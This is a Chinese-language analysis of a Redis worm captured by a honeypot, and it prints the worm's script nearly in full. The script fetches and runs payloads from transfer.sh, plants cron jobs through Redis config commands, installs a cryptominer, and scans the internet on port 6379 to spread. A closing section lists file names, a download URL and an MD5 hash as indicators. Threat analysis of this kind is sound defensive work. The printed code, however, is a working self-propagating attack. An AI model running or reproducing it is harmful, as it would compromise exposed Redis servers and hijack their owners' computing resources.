蜜罐捕获的Redis蠕虫,样本文件在VT上并未报异常。
从Redis的日志中捕获到如下命令:
"set" "Backup2" "\t\n*/5 * * * * wget -O .cmd https://transfer.sh/TSAm0/tmp.aLCyXcGXsL && bash .cmd\n\t"
可以看到攻击者从 https://transfer.sh 上下载蠕虫文件并重命名为.cmd
,核心内容如下:
首先从 https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 下载端口扫描器:
if ! ( [ -x /usr/local/bin/pnscan ] || [ -x /usr/bin/pnscan ] ); then
curl -kLs https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 > .x112 || wget -q -O .x112 https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12
sleep 1
[ -f .x112 ] && tar xf .x112 && cd pnscan-1.12 && make lnx && make install && cd .. && rm -rf pnscan-1.12 .x112
fi
然后执行如下操作:
tname=$( mktemp )
OMURL=https://transfer.sh/REIoK/tmp.pAuTRGMlGy
curl -s $OMURL > $tname || wget -q -O $tname $OMURL
NMURL=$( curl -s --upload-file $tname https://transfer.sh )
mv $tname .gpg && chmod +x .gpg && ./.gpg && rm -rf .gpg
[ -z "$NMURL" ] && NMURL=$OMURL
ncmd=$(basename $(mktemp))
sed 's|'"$OMURL"'|'"$NMURL"'|g' < .cmd > $ncmd
NSURL=$( curl -s --upload-file $ncmd https://transfer.sh )
echo 'flushall' > .dat
echo 'config set dir /var/spool/cron' >> .dat
echo 'config set dbfilename root' >> .dat
echo 'set Backup1 "\t\n*/2 * * * * curl -s '${NSURL}' > .cmd && bash .cmd\n\t"' >> .dat
echo 'set Backup2 "\t\n*/5 * * * * wget -O .cmd '${NSURL}' && bash .cmd\n\t"' >> .dat
echo 'set Backup3 "\t\n*/10 * * * * lynx -source '${NSURL}' > .cmd && bash .cmd\n\t"' >> .dat
echo 'save' >> .dat
echo 'config set dir /var/spool/cron/crontabs' >> .dat
echo 'save' >> .dat
echo 'exit' >> .dat
最后使用下载的扫描器pnscan
对外扫描6379端口,然后使用redis-cli
进行连接并发送上面构造的Redis payload,从而进行传播:
pnx=pnscan
[ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan
[ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan
for x in $( seq 1 224 | sort -R ); do
for y in $( seq 0 255 | sort -R ); do
$pnx -t512 -R '6f 73 3a 4c 69 6e 75 78' -W '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' $x.$y.0.0/16 6379 > .r.$x.$y.o
awk '/Linux/ {print $1, $3}' .r.$x.$y.o > .r.$x.$y.l
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw &
done < .r.$x.$y.l
done
done
文件名
蠕虫:.cmd
挖矿:.gpg
下载服务器
https://transfer.sh/TSAm0/tmp.aLCyXcGXsL
不过由于木马会进行重新上传,下载地址会不停的增加。
挖矿程序MD5
MD5 (.gpg) = 2918ee2b69bc4e6b581c7b25f08434fe
由于木马文件会含有变化的挖矿程序的地址,所以木马文件的MD5不具有参考性。
该蠕虫利用transfer.sh来匿名传播,并通过反复上传增加下载地址来加大检测难度。